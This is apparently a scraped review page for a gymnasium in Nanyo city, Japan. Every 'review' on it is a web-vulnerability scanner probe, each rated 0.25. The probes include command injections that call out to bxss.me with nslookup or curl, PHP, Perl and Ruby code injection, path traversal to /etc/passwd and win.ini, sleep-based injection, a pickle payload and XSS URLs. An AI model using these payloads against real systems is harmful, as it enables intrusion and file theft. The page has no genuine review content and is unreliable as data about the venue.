南陽市民体育館

• 0.25

place_reviews/.

• 0.25

'.gethostbyname(lc('hitjq'.'ynxmrakp42492.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(66).chr(122).chr(65).'

• 0.25

• 0.25

'"

• 0.25

bxss.me

• 0.25

place_reviews

• 0.25

'.print(md5(31337)).'

• 0.25

&(nslookup${IFS}-q${IFS}cname${IFS}hitfwbenrdyvad9174.bxss.me||curl${IFS}hitfwbenrdyvad9174.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitfwbenrdyvad9174.bxss.me||curl${IFS}hitfwbenrdyvad9174.bxss.me)&`'

• 0.25

'A'.concat(70-3).concat(22*4).concat(102).concat(89).concat(106).concat(77)+(require'socket'
Socket.gethostbyname('hitvc'+'oykwmlws614db.bxss.me.')[3].to_s)

• 0.25

${9999942+9999845}

• 0.25

file:///etc/passwd

• 0.25

/etc/shells

• 0.25

`(nslookup -q=cname hittqltaecwuy4a3c2.bxss.me||curl hittqltaecwuy4a3c2.bxss.me)`

• 0.25

|(nslookup -q=cname hitbxoapkxkuya3ee4.bxss.me||curl hitbxoapkxkuya3ee4.bxss.me)

• 0.25

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 0.25

&(nslookup -q=cname hitoawxnnpauvaf1d9.bxss.me||curl hitoawxnnpauvaf1d9.bxss.me)&'\"`0&(nslookup -q=cname hitoawxnnpauvaf1d9.bxss.me||curl hitoawxnnpauvaf1d9.bxss.me)&`'

• 0.25

HttP://bxss.me/t/xss.html?%00

• 0.25

"+"A".concat(70-3).concat(22*4).concat(107).concat(78).concat(117).concat(82)+(require"socket"
Socket.gethostbyname("hiteb"+"kagqbfco2e9ad.bxss.me.")[3].to_s)+"

• 0.25

'"()

• 0.25

redirtest.acx

• 0.25

^(#$!@#$)(()))******

• 0.25

!(()&&!|*|*|

• 0.25

'"()&%hrBV(9825)

• 0.25

'"()&%hrBV(9624)

• 0.25

Http://bxss.me/t/fit.txt

• 0.25

c:/windows/win.ini

• 0.25

../../../../../../../../../../../../../../etc/shells

• 0.25

|(nslookup${IFS}-q${IFS}cname${IFS}hitwmvxlqzgbc20b18.bxss.me||curl${IFS}hitwmvxlqzgbc20b18.bxss.me)

• 0.25

;(nslookup -q=cname hitpaeuqmjjpq703f6.bxss.me||curl hitpaeuqmjjpq703f6.bxss.me)|(nslookup -q=cname hitpaeuqmjjpq703f6.bxss.me||curl hitpaeuqmjjpq703f6.bxss.me)&(nslookup -q=cname hitpaeuqmjjpq703f6.bxss.me||curl hitpaeuqmjjpq703f6.bxss.me)

• 0.25

$(nslookup -q=cname hitbjqeurhcrpd9383.bxss.me||curl hitbjqeurhcrpd9383.bxss.me)

• 0.25

bxss.me/t/xss.html?%00

• 0.25

${@print(md5(31337))}\

• 0.25

${@print(md5(31337))}

• 0.25

";print(md5(31337));$a="

• 0.25

';print(md5(31337));$a='

• 0.25

&nslookup -q=cname hitkddmorgjed73dcc.bxss.me&'\"`0&nslookup -q=cname hitkddmorgjed73dcc.bxss.me&`'

• 0.25

(nslookup -q=cname hitolzacefaxr749ca.bxss.me||curl hitolzacefaxr749ca.bxss.me))

• 0.25

expr 9000749986 - 962769

• 0.25

|echo cahwdn$()\ ucxrwq\nz^xyu||a #' |echo cahwdn$()\ ucxrwq\nz^xyu||a #|" |echo cahwdn$()\ ucxrwq\nz^xyu||a #

• 0.25

&echo oyscrf$()\ gseynn\nz^xyu||a #' &echo oyscrf$()\ gseynn\nz^xyu||a #|" &echo oyscrf$()\ gseynn\nz^xyu||a #

• 0.25

echo lbavrm$()\ syhoqz\nz^xyu||a #' &echo lbavrm$()\ syhoqz\nz^xyu||a #|" &echo lbavrm$()\ syhoqz\nz^xyu||a #

• 0.25

'+'A'.concat(70-3).concat(22*4).concat(120).concat(66).concat(99).concat(89)+(require'socket'
Socket.gethostbyname('hitfp'+'kwrbljzka8be0.bxss.me.')[3].to_s)+'

• 0.25

ctime
sleep
p0
(I30
tp1
Rp2
.

• 0.25

"+response.write(9747291*9392783)+"

• 0.25

'+response.write(9747291*9392783)+'

• 0.25

../../../../../../../../../../../../../../etc/passwd

• 0.25

'||sleep(27*1000)*lorrod||'

• 0.25

9722849

• 0.25

response.write(9747291*9392783)

• 0.25

gethostbyname(lc('hituo'.'qtjdpatjbcba5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(71).chr(106).chr(88)

• 0.25

../

• 0.25

../../../../../../../../../../../../../../windows/win.ini

• 0.25

"||sleep(27*1000)*wvripc||"

• 0.25

"&&sleep(27*1000)*ijuiys&&"

• 0.25

'&&sleep(27*1000)*pisuoe&&'

• 0.25

)

• 0.25

".gethostbyname(lc("hitmy"."mkhjdyit555c3.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(71).chr(108).chr(70)."